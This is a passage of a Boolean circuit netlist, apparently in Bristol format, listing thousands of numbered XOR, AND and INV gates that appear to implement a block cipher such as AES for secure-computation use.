35464 XOR +2 1 35460 35464 7095 XOR +2 1 7104 7095 7075 XOR +2 1 35464 6883 7073 XOR +2 1 20707 32702 20687 XOR +2 1 20703 20687 20653 XOR +1 1 20653 20650 INV +2 1 20650 20651 35462 XOR +2 1 35458 35462 7096 XOR +2 1 20708 20687 20647 XOR +2 1 20676 20647 35465 XOR +2 1 35453 35465 7090 XOR +2 1 35461 35465 7078 XOR +1 1 7078 7175 INV +2 1 7175 35450 7038 XOR +2 1 7175 32878 7041 XOR +2 1 7090 32891 6843 XOR +2 1 7078 35463 6884 XOR +2 1 6884 6885 7150 XOR +2 1 7096 32890 6886 XOR +2 1 7090 35449 6845 XOR +2 1 35463 35462 6846 XOR +2 1 6845 6846 7166 XOR +2 1 21822 21823 32710 XOR +2 1 32710 21797 35432 XOR +2 1 16733 35432 6938 XOR +2 1 6937 6938 35334 XOR +2 1 35334 826 33835 XOR +2 1 35432 35437 7123 XOR +1 1 7123 6894 INV +2 1 6894 7120 6892 XOR +2 1 7123 7105 6919 XOR +2 1 7157 7123 35349 XOR +2 1 21819 32710 21799 XOR +2 1 21815 21799 21765 XOR +1 1 21765 21762 INV +2 1 21762 21763 35430 XOR +2 1 35430 35435 7138 XOR +2 1 21820 21799 21759 XOR +2 1 21788 21759 35433 XOR +2 1 35433 35440 7083 XOR +2 1 35433 35448 7088 XOR +2 1 7142 7088 6943 XOR +2 1 7088 35446 6860 XOR +2 1 32927 6943 35329 XOR +2 1 35329 831 33830 XOR +2 1 7138 7134 6898 XOR +2 1 35441 6898 35355 XOR +2 1 35355 805 33856 XOR +2 1 6860 6861 7160 XOR +2 1 7160 7111 35333 XOR +2 1 35333 827 33834 XOR +1 1 7088 6856 INV +2 1 6856 32860 6854 XOR +2 1 6856 35445 6857 XOR +2 1 7094 7083 6889 XOR +2 1 35444 6889 35360 XOR +2 1 35360 800 33861 XOR +2 1 6859 35430 6858 XOR +2 1 6857 6858 7161 XOR +2 1 7161 7120 35332 XOR +2 1 35332 828 33833 XOR +2 1 7142 7083 6928 XOR +1 1 7138 6913 INV +2 1 6913 35445 6911 XOR +2 1 6911 6912 35347 XOR +2 1 35347 813 33848 XOR +2 1 33849 33848 7471 XOR +2 1 6913 7120 6922 XOR +2 1 33861 33856 27317 XOR +2 1 35308 852 33809 XOR +2 1 33809 33808 16335 XOR +1 1 17985 32937 INV +2 1 32937 32965 7099 XOR +2 1 7099 32790 6991 XOR +2 1 7099 7097 6946 XOR +2 1 32961 6946 35327 XOR +2 1 35327 833 33828 XOR +2 1 33828 17194 17275 XOR +2 1 33826 33828 17195 XOR +2 1 17271 17195 17198 XOR +2 1 17286 17275 17265 AND +2 1 17265 17194 17196 XOR +2 1 17198 17196 17202 XOR +2 1 33829 17202 17207 XOR +2 1 7099 7082 6961 XOR +2 1 35429 6961 35320 XOR +2 1 35320 840 33821 XOR +2 1 33818 33821 13809 XOR +2 1 33821 33816 13808 XOR +2 1 7081 32937 6971 XOR +2 1 6971 6972 35312 XOR +2 1 35312 848 33813 XOR +2 1 33811 33813 16359 XOR +2 1 16359 16454 16439 XOR +2 1 33810 33813 16452 XOR +2 1 33813 33808 16451 XOR +2 1 16454 16439 16430 AND +2 1 6991 6992 35303 XOR +2 1 35303 857 33804 XOR +2 1 33804 19279 19360 XOR +2 1 33802 33804 19280 XOR +2 1 19356 19280 19283 XOR +2 1 19371 19360 19350 AND +2 1 19350 19279 19281 XOR +2 1 19283 19281 19287 XOR +2 1 33805 19287 19292 XOR +1 1 17987 32938 INV +2 1 32963 32938 7122 XOR +2 1 7122 7089 6970 XOR +2 1 32938 6997 35297 XOR +2 1 35297 863 33798 XOR +2 1 33798 19363 19362 XOR +2 1 33798 33804 19284 XOR +2 1 19284 19279 19359 XOR +2 1 7122 7115 6983 XOR +2 1 6983 6984 6982 XOR +1 1 6982 35306 INV +2 1 35306 854 33807 XOR +2 1 33807 33809 16358 XOR +2 1 33808 16358 16360 XOR +2 1 33811 16360 16438 XOR +2 1 16358 16452 16444 XOR +2 1 33806 16444 16443 XOR +2 1 33807 33808 16375 XOR +2 1 16452 16375 16448 XOR +2 1 33813 33807 16453 XOR +2 1 16444 16448 16437 AND +2 1 16453 16438 16434 AND +2 1 16434 16359 16363 XOR +2 1 7122 7081 6960 XOR +2 1 32967 6960 35321 XOR +2 1 35321 839 33822 XOR +2 1 33822 17278 17277 XOR +2 1 33822 33828 17199 XOR +2 1 17199 17194 17274 XOR +2 1 32967 32938 6848 XOR +2 1 6847 6848 7165 XOR +2 1 7165 7121 35314 XOR +2 1 35314 846 33815 XOR +2 1 33815 33817 13714 XOR +2 1 13714 13809 13801 XOR +2 1 33816 13714 13716 XOR +2 1 33815 33816 13732 XOR +2 1 13809 13732 13805 XOR +2 1 13801 13805 13794 AND +2 1 33821 33815 13810 XOR +2 1 32788 6970 35313 XOR +2 1 35313 847 33814 XOR +2 1 33814 13801 13800 XOR +1 1 17984 32944 INV +2 1 32968 32944 7106 XOR +2 1 32944 35415 6994 XOR +2 1 6993 6994 35302 XOR +2 1 7106 32789 6966 XOR +2 1 35302 858 33803 XOR +2 1 33803 19279 19357 XOR +2 1 33803 33805 19278 XOR +2 1 19278 19373 19358 XOR +2 1 7106 7100 6973 XOR +2 1 32965 6973 35311 XOR +2 1 35311 849 33812 XOR +2 1 33812 16360 16441 XOR +2 1 33810 33812 16361 XOR +2 1 16437 16361 16364 XOR +2 1 33806 33812 16365 XOR +2 1 16365 16360 16440 XOR +2 1 16359 16365 16447 XOR +2 1 16375 16447 16445 XOR +2 1 33811 16365 16450 XOR +2 1 33807 16450 16446 XOR +2 1 16361 16359 16321 XOR +2 1 16358 16321 16442 XOR +2 1 16361 33811 16320 XOR +2 1 33806 16320 16449 XOR +2 1 16445 16443 16436 AND +2 1 16430 16436 16382 XOR +2 1 16449 33806 16435 AND +2 1 16450 16446 16433 AND +2 1 16447 16440 16432 AND +2 1 16452 16441 16431 AND +2 1 16431 16360 16362 XOR +2 1 16364 16362 16368 XOR +2 1 33813 16368 16373 XOR +2 1 16382 16373 16428 XOR +2 1 16430 16431 16334 XOR +2 1 16334 16335 16381 XOR +2 1 16381 16363 16380 XOR +2 1 16433 16380 16427 XOR +2 1 16451 16442 16429 AND +2 1 16429 16435 16387 XOR +2 1 16387 16359 16374 XOR +2 1 16382 16374 16425 XOR +2 1 16368 16387 16336 XOR +2 1 33811 16336 16379 XOR +2 1 16429 16432 16383 XOR +2 1 16363 16383 16337 XOR +2 1 16337 16362 16426 XOR +2 1 16430 16383 16377 XOR +2 1 16433 16377 16333 XOR +2 1 33807 16333 16420 XOR +2 1 16428 16427 16424 AND +2 1 16424 16426 16423 XOR +2 1 16424 16379 16419 XOR +2 1 16425 16423 16422 AND +2 1 16422 16379 16421 XOR +2 1 16422 16434 16328 XOR +2 1 16328 16364 16324 XOR +2 1 33813 16324 16327 XOR +2 1 16422 16373 16325 XOR +2 1 33811 16324 16323 XOR +2 1 16419 16420 16418 AND +2 1 16418 16426 16417 XOR +2 1 16418 16377 16332 XOR +2 1 16418 16435 16331 XOR +2 1 16331 16432 16326 XOR +2 1 16326 16327 16409 XOR +2 1 16424 16418 16416 XOR +2 1 16426 16416 16415 AND +2 1 16415 16433 16386 XOR +2 1 33807 16386 16369 XOR +2 1 16415 16423 16413 XOR +2 1 16386 16380 16407 XOR +2 1 16369 16332 16414 XOR +2 1 16421 16413 16412 AND +2 1 16412 16382 16372 XOR +2 1 16412 16436 16330 XOR +2 1 16369 16330 16322 XOR +2 1 16359 16322 16329 XOR +2 1 16326 16329 16410 XOR +2 1 16372 16325 16408 XOR +2 1 16322 16323 16406 XOR +2 1 16372 16374 16411 XOR +2 1 16407 16444 16405 AND +2 1 16414 16443 16404 AND +2 1 16417 33806 16403 AND +2 1 16403 16405 16385 XOR +2 1 16408 16438 16402 AND +2 1 16411 16450 16401 AND +2 1 16421 16440 16400 AND +2 1 16400 16401 16339 XOR +2 1 16409 16441 16399 AND +2 1 16406 16439 16398 AND +2 1 16398 16401 16354 XOR +1 1 16354 16351 INV +2 1 16398 16399 16350 XOR +2 1 16410 16442 16397 AND +2 1 16407 16448 16396 AND +2 1 16414 16445 16395 AND +2 1 16417 16449 16394 AND +2 1 16408 16453 16393 AND +2 1 16393 16397 16370 XOR +2 1 16402 16393 16355 XOR +1 1 16370 16348 INV +2 1 16411 16446 16392 AND +2 1 16400 16392 16357 XOR +2 1 16421 16447 16391 AND +2 1 16348 16391 16347 XOR +2 1 16347 16385 16343 XOR +2 1 16409 16452 16390 AND +2 1 16390 16343 16346 XOR +2 1 16406 16454 16389 AND +2 1 16389 16390 16384 XOR +2 1 16395 16384 16366 XOR +2 1 16396 16366 16367 XOR +2 1 16404 16367 16371 XOR +2 1 16403 16371 16340 XOR +2 1 16339 16340 35656 XOR +2 1 16405 16371 16376 XOR +2 1 16376 16350 16456 XOR +2 1 16357 16384 16353 XOR +2 1 16385 16353 16356 XOR +2 1 16355 16356 16458 XOR +2 1 16348 16353 16352 XOR +2 1 16351 16352 16457 XOR +2 1 16366 16343 16342 XOR +2 1 16410 16451 16388 AND +2 1 16399 16388 16349 XOR +1 1 16349 16345 INV +2 1 16345 16346 16455 XOR +2 1 19278 19284 19366 XOR +2 1 19294 19366 19364 XOR +2 1 33803 19284 19369 XOR +2 1 33799 19369 19365 XOR +2 1 19280 19278 19240 XOR +2 1 19277 19240 19361 XOR +2 1 19280 33803 19239 XOR +2 1 33798 19239 19368 XOR +2 1 19364 19362 19355 AND +2 1 19368 33798 19354 AND +2 1 19372 19357 19353 AND +2 1 19353 19278 19282 XOR +2 1 19369 19365 19352 AND +2 1 19366 19359 19351 AND +2 1 19373 19358 19349 AND +2 1 19349 19355 19301 XOR +2 1 19301 19292 19347 XOR +2 1 19349 19350 19253 XOR +2 1 19253 19254 19300 XOR +2 1 19300 19282 19299 XOR +2 1 19352 19299 19346 XOR +2 1 19370 19361 19348 AND +2 1 19348 19351 19302 XOR +2 1 19348 19354 19306 XOR +2 1 19306 19278 19293 XOR +2 1 19301 19293 19344 XOR +2 1 19349 19302 19296 XOR +2 1 19282 19302 19256 XOR +2 1 19256 19281 19345 XOR +2 1 19287 19306 19255 XOR +2 1 33803 19255 19298 XOR +2 1 19352 19296 19252 XOR +2 1 33799 19252 19339 XOR +2 1 19347 19346 19343 AND +2 1 19343 19298 19338 XOR +2 1 19343 19345 19342 XOR +2 1 19344 19342 19341 AND +2 1 19341 19298 19340 XOR +2 1 19341 19353 19247 XOR +2 1 19247 19283 19243 XOR +2 1 33805 19243 19246 XOR +2 1 19341 19292 19244 XOR +2 1 33803 19243 19242 XOR +2 1 19338 19339 19337 AND +2 1 19337 19345 19336 XOR +2 1 19343 19337 19335 XOR +2 1 19337 19296 19251 XOR +2 1 19337 19354 19250 XOR +2 1 19250 19351 19245 XOR +2 1 19245 19246 19328 XOR +2 1 19345 19335 19334 AND +2 1 19334 19342 19332 XOR +2 1 19334 19352 19305 XOR +2 1 19305 19299 19326 XOR +2 1 33799 19305 19288 XOR +2 1 19288 19251 19333 XOR +2 1 19340 19332 19331 AND +2 1 19331 19301 19291 XOR +2 1 19291 19293 19330 XOR +2 1 19331 19355 19249 XOR +2 1 19288 19249 19241 XOR +2 1 19278 19241 19248 XOR +2 1 19245 19248 19329 XOR +2 1 19291 19244 19327 XOR +2 1 19241 19242 19325 XOR +2 1 19326 19363 19324 AND +2 1 19333 19362 19323 AND +2 1 19336 33798 19322 AND +2 1 19322 19324 19304 XOR +2 1 19327 19357 19321 AND +2 1 19330 19369 19320 AND +2 1 19340 19359 19319 AND +2 1 19319 19320 19258 XOR +2 1 19328 19360 19318 AND +2 1 19325 19358 19317 AND +2 1 19317 19320 19273 XOR +1 1 19273 19270 INV +2 1 19317 19318 19269 XOR +2 1 19329 19361 19316 AND +2 1 19326 19367 19315 AND +2 1 19333 19364 19314 AND +2 1 19336 19368 19313 AND +2 1 19327 19372 19312 AND +2 1 19312 19316 19289 XOR +2 1 19321 19312 19274 XOR +1 1 19289 19267 INV +2 1 19330 19365 19311 AND +2 1 19319 19311 19276 XOR +2 1 19340 19366 19310 AND +2 1 19267 19310 19266 XOR +2 1 19266 19304 19262 XOR +2 1 19328 19371 19309 AND +2 1 19309 19262 19265 XOR +2 1 19325 19373 19308 AND +2 1 19308 19309 19303 XOR +2 1 19314 19303 19285 XOR +2 1 19315 19285 19286 XOR +2 1 19323 19286 19290 XOR +2 1 19324 19290 19295 XOR +2 1 19276 19303 19272 XOR +2 1 19304 19272 19275 XOR +2 1 19274 19275 19377 XOR +2 1 19267 19272 19271 XOR +2 1 19270 19271 19376 XOR +2 1 19295 19269 19375 XOR +2 1 19285 19262 19261 XOR +2 1 19322 19290 19259 XOR +2 1 19258 19259 35595 XOR +2 1 19329 19370 19307 AND +2 1 19318 19307 19268 XOR +1 1 19268 19264 INV +2 1 19264 19265 19374 XOR +2 1 32937 32944 6963 XOR +2 1 6962 6963 35319 XOR +1 1 6966 6964 INV +2 1 6964 6965 35318 XOR +2 1 35319 841 33820 XOR +2 1 33814 33820 13721 XOR +2 1 33820 13716 13798 XOR +2 1 13809 13798 13788 AND +2 1 13788 13716 13718 XOR +2 1 13721 13716 13797 XOR +2 1 33818 33820 13717 XOR +2 1 13794 13717 13720 XOR +2 1 13720 13718 13724 XOR +2 1 33821 13724 13730 XOR +2 1 35318 842 33819 XOR +2 1 33819 33821 13715 XOR +2 1 13715 13721 13804 XOR +2 1 13715 13811 13796 XOR +2 1 13811 13796 13787 AND +2 1 33819 13716 13795 XOR +2 1 13810 13795 13791 AND +2 1 13791 13715 13719 XOR +2 1 13732 13804 13802 XOR +2 1 13804 13797 13789 AND +2 1 13717 13715 13677 XOR +2 1 13714 13677 13799 XOR +2 1 13808 13799 13786 AND +2 1 13786 13789 13740 XOR +2 1 13719 13740 13693 XOR +2 1 13787 13740 13734 XOR +2 1 13693 13718 13783 XOR +2 1 13787 13788 13690 XOR +2 1 13690 13691 13738 XOR +2 1 13738 13719 13737 XOR +2 1 13802 13800 13793 AND +2 1 13787 13793 13739 XOR +2 1 13739 13730 13785 XOR +2 1 7106 7102 6947 XOR +2 1 32972 6947 35326 XOR +2 1 35326 834 33827 XOR +2 1 33827 17194 17272 XOR +2 1 33827 33829 17193 XOR +2 1 17193 17288 17273 XOR +2 1 17193 17199 17281 XOR +2 1 17209 17281 17279 XOR +2 1 33827 17199 17284 XOR +2 1 33823 17284 17280 XOR +2 1 17195 17193 17155 XOR +2 1 17192 17155 17276 XOR +2 1 17195 33827 17154 XOR +2 1 33822 17154 17283 XOR +2 1 17279 17277 17270 AND +2 1 17283 33822 17269 AND +2 1 17287 17272 17268 AND +2 1 17268 17193 17197 XOR +2 1 17284 17280 17267 AND +2 1 17281 17274 17266 AND +2 1 17288 17273 17264 AND +2 1 17264 17270 17216 XOR +2 1 17216 17207 17262 XOR +2 1 17264 17265 17168 XOR +2 1 17168 17169 17215 XOR +2 1 17215 17197 17214 XOR +2 1 17267 17214 17261 XOR +2 1 17285 17276 17263 AND +2 1 17263 17266 17217 XOR +2 1 17263 17269 17221 XOR +2 1 17221 17193 17208 XOR +2 1 17216 17208 17259 XOR +2 1 17264 17217 17211 XOR +2 1 17197 17217 17171 XOR +2 1 17171 17196 17260 XOR +2 1 17202 17221 17170 XOR +2 1 33827 17170 17213 XOR +2 1 17267 17211 17167 XOR +2 1 33823 17167 17254 XOR +2 1 17262 17261 17258 AND +2 1 17258 17213 17253 XOR +2 1 17258 17260 17257 XOR +2 1 17259 17257 17256 AND +2 1 17256 17213 17255 XOR +2 1 17256 17268 17162 XOR +2 1 17162 17198 17158 XOR +2 1 33829 17158 17161 XOR +2 1 17256 17207 17159 XOR +2 1 33827 17158 17157 XOR +2 1 17253 17254 17252 AND +2 1 17252 17260 17251 XOR +2 1 17258 17252 17250 XOR +2 1 17252 17211 17166 XOR +2 1 17252 17269 17165 XOR +2 1 17165 17266 17160 XOR +2 1 17160 17161 17243 XOR +2 1 17260 17250 17249 AND +2 1 17249 17257 17247 XOR +2 1 17249 17267 17220 XOR +2 1 17220 17214 17241 XOR +2 1 33823 17220 17203 XOR +2 1 17203 17166 17248 XOR +2 1 17255 17247 17246 AND +2 1 17246 17216 17206 XOR +2 1 17206 17208 17245 XOR +2 1 17246 17270 17164 XOR +2 1 17203 17164 17156 XOR +2 1 17193 17156 17163 XOR +2 1 17160 17163 17244 XOR +2 1 17206 17159 17242 XOR +2 1 17156 17157 17240 XOR +2 1 17241 17278 17239 AND +2 1 17248 17277 17238 AND +2 1 17251 33822 17237 AND +2 1 17237 17239 17219 XOR +2 1 17242 17272 17236 AND +2 1 17245 17284 17235 AND +2 1 17255 17274 17234 AND +2 1 17234 17235 17173 XOR +2 1 17243 17275 17233 AND +2 1 17240 17273 17232 AND +2 1 17232 17235 17188 XOR +1 1 17188 17185 INV +2 1 17232 17233 17184 XOR +2 1 17244 17276 17231 AND +2 1 17241 17282 17230 AND +2 1 17248 17279 17229 AND +2 1 17251 17283 17228 AND +2 1 17242 17287 17227 AND +2 1 17227 17231 17204 XOR +2 1 17236 17227 17189 XOR +1 1 17204 17182 INV +2 1 17245 17280 17226 AND +2 1 17234 17226 17191 XOR +2 1 17255 17281 17225 AND +2 1 17182 17225 17181 XOR +2 1 17181 17219 17177 XOR +2 1 17243 17286 17224 AND +2 1 17224 17177 17180 XOR +2 1 17240 17288 17223 AND +2 1 17223 17224 17218 XOR +2 1 17229 17218 17200 XOR +2 1 17230 17200 17201 XOR +2 1 17238 17201 17205 XOR +2 1 17239 17205 17210 XOR +2 1 17191 17218 17187 XOR +2 1 17219 17187 17190 XOR +2 1 17189 17190 17292 XOR +2 1 17182 17187 17186 XOR +2 1 17185 17186 17291 XOR +2 1 17210 17184 17290 XOR +2 1 17200 17177 17176 XOR +2 1 17237 17205 17174 XOR +2 1 17173 17174 35628 XOR +2 1 17244 17285 17222 AND +2 1 17233 17222 17183 XOR +1 1 17183 17179 INV +2 1 17179 17180 17289 XOR +2 1 16401 16402 32671 XOR +2 1 16398 32671 16378 XOR +2 1 16399 16378 16338 XOR +2 1 16367 16338 35658 XOR +2 1 16394 16378 16344 XOR +1 1 16344 16341 INV +2 1 16341 16342 35655 XOR +2 1 35656 35655 7879 XOR +2 1 32671 16376 35657 XOR +2 1 33819 13721 13807 XOR +2 1 33815 13807 13803 XOR +2 1 13807 13803 13790 AND +2 1 13790 13737 13784 XOR +2 1 13790 13734 13689 XOR +2 1 33815 13689 13777 XOR +2 1 13785 13784 13781 AND +2 1 13781 13783 13780 XOR +2 1 17235 17236 32677 XOR +2 1 17232 32677 17212 XOR +2 1 17228 17212 17178 XOR +1 1 17178 17175 INV +2 1 17175 17176 35627 XOR +2 1 17233 17212 17172 XOR +2 1 17201 17172 35630 XOR +2 1 32677 17210 35629 XOR +2 1 19320 19321 32692 XOR +2 1 19317 32692 19297 XOR +2 1 19313 19297 19263 XOR +1 1 19263 19260 INV +2 1 19260 19261 35594 XOR +2 1 19318 19297 19257 XOR +2 1 19286 19257 35597 XOR +2 1 32692 19295 35596 XOR +2 1 13717 33819 13676 XOR +2 1 33814 13676 13806 XOR +2 1 13806 33814 13792 AND +2 1 13786 13792 13744 XOR +2 1 13724 13744 13692 XOR +2 1 33819 13692 13736 XOR +2 1 13781 13736 13776 XOR +2 1 13776 13777 13775 AND +2 1 13775 13734 13688 XOR +2 1 13781 13775 13773 XOR +2 1 13783 13773 13772 AND +2 1 13772 13780 13770 XOR +2 1 13772 13790 13743 XOR +2 1 13775 13783 13774 XOR +2 1 13743 13737 13764 XOR +2 1 33815 13743 13725 XOR +2 1 13725 13688 13771 XOR +2 1 13775 13792 13687 XOR +2 1 13687 13789 13682 XOR +2 1 13774 13806 13751 AND +2 1 13764 13805 13753 AND +2 1 13764 13801 13762 AND +2 1 13771 13800 13761 AND +2 1 13774 33814 13760 AND +2 1 13760 13762 13742 XOR +2 1 13744 13715 13731 XOR +2 1 13739 13731 13782 XOR +2 1 13782 13780 13779 AND +2 1 13779 13730 13681 XOR +2 1 13779 13736 13778 XOR +2 1 13778 13804 13748 AND +2 1 13778 13797 13757 AND +2 1 13779 13791 13684 XOR +2 1 13778 13770 13769 AND +2 1 13684 13720 13680 XOR +2 1 13769 13793 13686 XOR +2 1 13725 13686 13678 XOR +2 1 13715 13678 13685 XOR +2 1 13682 13685 13767 XOR +2 1 13767 13799 13754 AND +2 1 13767 13808 13745 AND +2 1 13769 13739 13729 XOR +2 1 13729 13731 13768 XOR +2 1 13768 13807 13758 AND +2 1 13768 13803 13749 AND +2 1 13757 13749 13713 XOR +2 1 13757 13758 13695 XOR +2 1 13729 13681 13765 XOR +2 1 13765 13795 13759 AND +2 1 13758 13759 13727 XOR +2 1 13765 13810 13750 AND +2 1 13750 13754 13726 XOR +2 1 13759 13750 13711 XOR +2 1 33821 13680 13683 XOR +2 1 13682 13683 13766 XOR +2 1 13766 13809 13747 AND +2 1 13766 13798 13756 AND +2 1 33819 13680 13679 XOR +2 1 13678 13679 13763 XOR +2 1 13763 13811 13746 AND +2 1 13746 13747 13741 XOR +2 1 13713 13741 13709 XOR +2 1 13763 13796 13755 AND +2 1 13755 13727 13735 XOR +2 1 13756 13735 13694 XOR +2 1 13751 13735 13700 XOR +1 1 13700 13697 INV +2 1 13742 13709 13712 XOR +2 1 13711 13712 13815 XOR +2 1 13771 13802 13752 AND +2 1 13752 13741 13722 XOR +2 1 13753 13722 13723 XOR +2 1 13761 13723 13728 XOR +2 1 13760 13728 13696 XOR +2 1 13695 13696 35643 XOR +2 1 13762 13728 13733 XOR +2 1 13727 13733 35644 XOR +1 1 13815 32866 INV +2 1 13755 13758 13710 XOR +1 1 13710 13707 INV +1 1 13726 13704 INV +2 1 13704 13748 13703 XOR +2 1 13703 13742 13699 XOR +2 1 13747 13699 13702 XOR +2 1 13722 13699 13698 XOR +2 1 13697 13698 35642 XOR +2 1 13704 13709 13708 XOR +2 1 13707 13708 13814 XOR +1 1 13814 32865 INV +2 1 13756 13745 13705 XOR +1 1 13705 13701 INV +2 1 13701 13702 13812 XOR +1 1 13812 32871 INV +2 1 13755 13756 13706 XOR +2 1 13733 13706 13813 XOR +1 1 13813 32872 INV +2 1 13723 13694 35645 XOR +1 1 16458 32917 INV +1 1 16455 32922 INV +2 1 32922 35657 8096 XOR +1 1 16456 32923 INV +1 1 16457 32924 INV +1 1 17292 32925 INV +1 1 17289 32930 INV +1 1 17290 32931 INV +1 1 17291 32932 INV +1 1 19376 32953 INV +1 1 19377 32954 INV +1 1 19514 32957 INV +2 1 32957 35411 7129 XOR +2 1 7129 32892 6935 XOR +2 1 32957 16595 7010 XOR +2 1 7129 7085 6998 XOR +2 1 35407 6998 35296 XOR +2 1 35296 864 33797 XOR +2 1 7137 7129 7027 XOR +2 1 32885 7027 35279 XOR +2 1 35279 881 33780 XOR +1 1 19516 32958 INV +2 1 32921 32958 7125 XOR +2 1 7125 7092 7077 XOR +2 1 32886 32958 6877 XOR +2 1 7125 7084 7008 XOR +2 1 32887 7008 35289 XOR +2 1 35289 871 33790 XOR +1 1 19374 32959 INV +1 1 19375 32960 INV +1 1 19513 32964 INV +2 1 32964 7001 35294 XOR +2 1 35294 866 33795 XOR +2 1 33795 33797 7215 XOR +2 1 32964 16594 7012 XOR +2 1 7011 7012 35287 XOR +2 1 35287 873 33788 XOR +2 1 33786 33788 13857 XOR +2 1 35349 811 33850 XOR +2 1 33848 33850 7591 XOR +1 1 20764 32989 INV +2 1 32889 32989 7113 XOR +2 1 7113 35460 7047 XOR +1 1 20765 32990 INV +2 1 7175 32990 7069 XOR +2 1 32877 32990 7101 XOR +2 1 7113 7101 7071 XOR +1 1 20766 32991 INV +2 1 32878 32991 7108 XOR +1 1 20767 32992 INV +2 1 32879 32992 7128 XOR +2 1 7128 7090 6888 XOR +1 1 21879 33001 INV +2 1 33001 32927 7146 XOR +2 1 7146 7087 6914 XOR +2 1 32860 6914 35345 XOR +2 1 7146 7080 6903 XOR +2 1 16735 33001 6855 XOR +2 1 32883 6903 35353 XOR +2 1 35353 807 33854 XOR +2 1 6854 6855 7162 XOR +2 1 7162 7134 35330 XOR +2 1 35330 830 33831 XOR +2 1 33831 33833 13574 XOR +2 1 35345 815 33846 XOR +2 1 33001 6928 35337 XOR +2 1 35337 823 33838 XOR +2 1 7146 7134 6926 XOR +1 1 21876 33006 INV +2 1 33006 35438 7116 XOR +2 1 16734 33006 6933 XOR +2 1 6932 6933 6931 XOR +2 1 7116 32863 6909 XOR +1 1 6931 35335 INV +2 1 6909 6910 35350 XOR +2 1 35350 810 33851 XOR +2 1 35335 825 33836 XOR +2 1 33830 33836 13581 XOR +2 1 33834 33836 13577 XOR +2 1 13577 33835 13536 XOR +2 1 33830 13536 13666 XOR +2 1 13666 33830 13652 AND +2 1 33835 13581 13667 XOR +2 1 33831 13667 13663 XOR +2 1 13667 13663 13650 AND +2 1 7116 7111 6891 XOR +2 1 32888 6891 35358 XOR +2 1 35358 802 33859 XOR +2 1 7116 7094 6918 XOR +2 1 33006 6919 35342 XOR +2 1 35342 818 33843 XOR +2 1 33859 33861 27224 XOR +1 1 21877 33007 INV +2 1 33007 35439 7109 XOR +2 1 7109 32864 6908 XOR +1 1 6908 6906 INV +2 1 6906 6907 35351 XOR +2 1 7109 7105 6890 XOR +2 1 32881 6890 35359 XOR +2 1 35359 801 33860 XOR +2 1 35351 809 33852 XOR +2 1 33846 33852 7501 XOR +2 1 33851 7501 7587 XOR +2 1 33850 33852 7497 XOR +2 1 7497 33851 7456 XOR +2 1 35440 33007 6930 XOR +2 1 6929 6930 35336 XOR +2 1 35336 824 33837 XOR +2 1 33834 33837 13669 XOR +2 1 33835 33837 13575 XOR +2 1 33837 33831 13670 XOR +2 1 13577 13575 13537 XOR +2 1 13574 13537 13659 XOR +2 1 13574 13669 13661 XOR +2 1 33830 13661 13660 XOR +2 1 13575 13581 13664 XOR +2 1 7109 7080 6917 XOR +2 1 33007 6918 35343 XOR +2 1 35343 817 33844 XOR +2 1 33838 33844 7361 XOR +2 1 33843 7361 7447 XOR +2 1 33854 33860 27230 XOR +2 1 27224 27230 27313 XOR +2 1 33859 27230 27316 XOR +2 1 35433 6917 35344 XOR +2 1 35344 816 33845 XOR +2 1 33843 33845 7355 XOR +2 1 7355 7361 7444 XOR +2 1 33846 7456 7586 XOR +2 1 7586 33846 7572 AND +1 1 21878 33008 INV +2 1 33008 35434 7145 XOR +2 1 7159 7145 35346 XOR +2 1 35346 814 33847 XOR +2 1 33847 7587 7583 XOR +2 1 6866 33008 6941 XOR +2 1 33847 33848 7511 XOR +2 1 33847 33849 7494 XOR +2 1 33848 7494 7496 XOR +2 1 33851 7496 7575 XOR +2 1 7501 7496 7577 XOR +2 1 33852 7496 7578 XOR +2 1 7587 7583 7570 AND +2 1 7145 7142 6902 XOR +1 1 6902 6900 INV +2 1 6940 6941 35331 XOR +2 1 35331 829 33832 XOR +2 1 33831 33832 13592 XOR +2 1 13669 13592 13665 XOR +2 1 13592 13664 13662 XOR +2 1 33832 13574 13576 XOR +2 1 33836 13576 13658 XOR +2 1 13581 13576 13657 XOR +2 1 33835 13576 13655 XOR +2 1 13670 13655 13651 AND +2 1 33833 33832 13551 XOR +2 1 13664 13657 13649 AND +2 1 13669 13658 13648 AND +2 1 33837 33832 13668 XOR +2 1 13661 13665 13654 AND +2 1 13648 13576 13578 XOR +2 1 13662 13660 13653 AND +2 1 13668 13659 13646 AND +2 1 13646 13652 13604 XOR +2 1 13646 13649 13600 XOR +2 1 13651 13575 13579 XOR +2 1 13579 13600 13553 XOR +2 1 13553 13578 13643 XOR +2 1 13604 13575 13591 XOR +2 1 33832 33834 13671 XOR +2 1 13575 13671 13656 XOR +2 1 13671 13656 13647 AND +2 1 13647 13648 13550 XOR +2 1 13550 13551 13598 XOR +2 1 13647 13600 13594 XOR +2 1 13650 13594 13549 XOR +2 1 33831 13549 13637 XOR +2 1 13598 13579 13597 XOR +2 1 13647 13653 13599 XOR +2 1 13599 13591 13642 XOR +2 1 13650 13597 13644 XOR +2 1 13654 13577 13580 XOR +2 1 13580 13578 13584 XOR +2 1 13584 13604 13552 XOR +2 1 33835 13552 13596 XOR +2 1 33837 13584 13590 XOR +2 1 13599 13590 13645 XOR +2 1 13645 13644 13641 AND +2 1 13641 13596 13636 XOR +2 1 13636 13637 13635 AND +2 1 13641 13635 13633 XOR +2 1 13635 13594 13548 XOR +2 1 13635 13652 13547 XOR +2 1 13547 13649 13542 XOR +2 1 13643 13633 13632 AND +2 1 13632 13650 13603 XOR +2 1 13603 13597 13624 XOR +2 1 13624 13661 13622 AND +2 1 13624 13665 13613 AND +2 1 33831 13603 13585 XOR +2 1 13585 13548 13631 XOR +2 1 13631 13660 13621 AND +2 1 13631 13662 13612 AND +2 1 13635 13643 13634 XOR +2 1 13634 33830 13620 AND +2 1 13620 13622 13602 XOR +2 1 13634 13666 13611 AND +2 1 13641 13643 13640 XOR +2 1 13632 13640 13630 XOR +2 1 13642 13640 13639 AND +2 1 13639 13596 13638 XOR +2 1 13638 13664 13608 AND +2 1 13638 13630 13629 AND +2 1 13629 13599 13589 XOR +2 1 13629 13653 13546 XOR +2 1 13585 13546 13538 XOR +2 1 13575 13538 13545 XOR +2 1 13542 13545 13627 XOR +2 1 13627 13668 13605 AND +2 1 13639 13651 13544 XOR +2 1 13544 13580 13540 XOR +2 1 33835 13540 13539 XOR +2 1 13538 13539 13623 XOR +2 1 33837 13540 13543 XOR +2 1 13542 13543 13626 XOR +2 1 13639 13590 13541 XOR +2 1 13638 13657 13617 AND +2 1 13626 13658 13616 AND +2 1 13616 13605 13565 XOR +1 1 13565 13561 INV +2 1 13623 13656 13615 AND +2 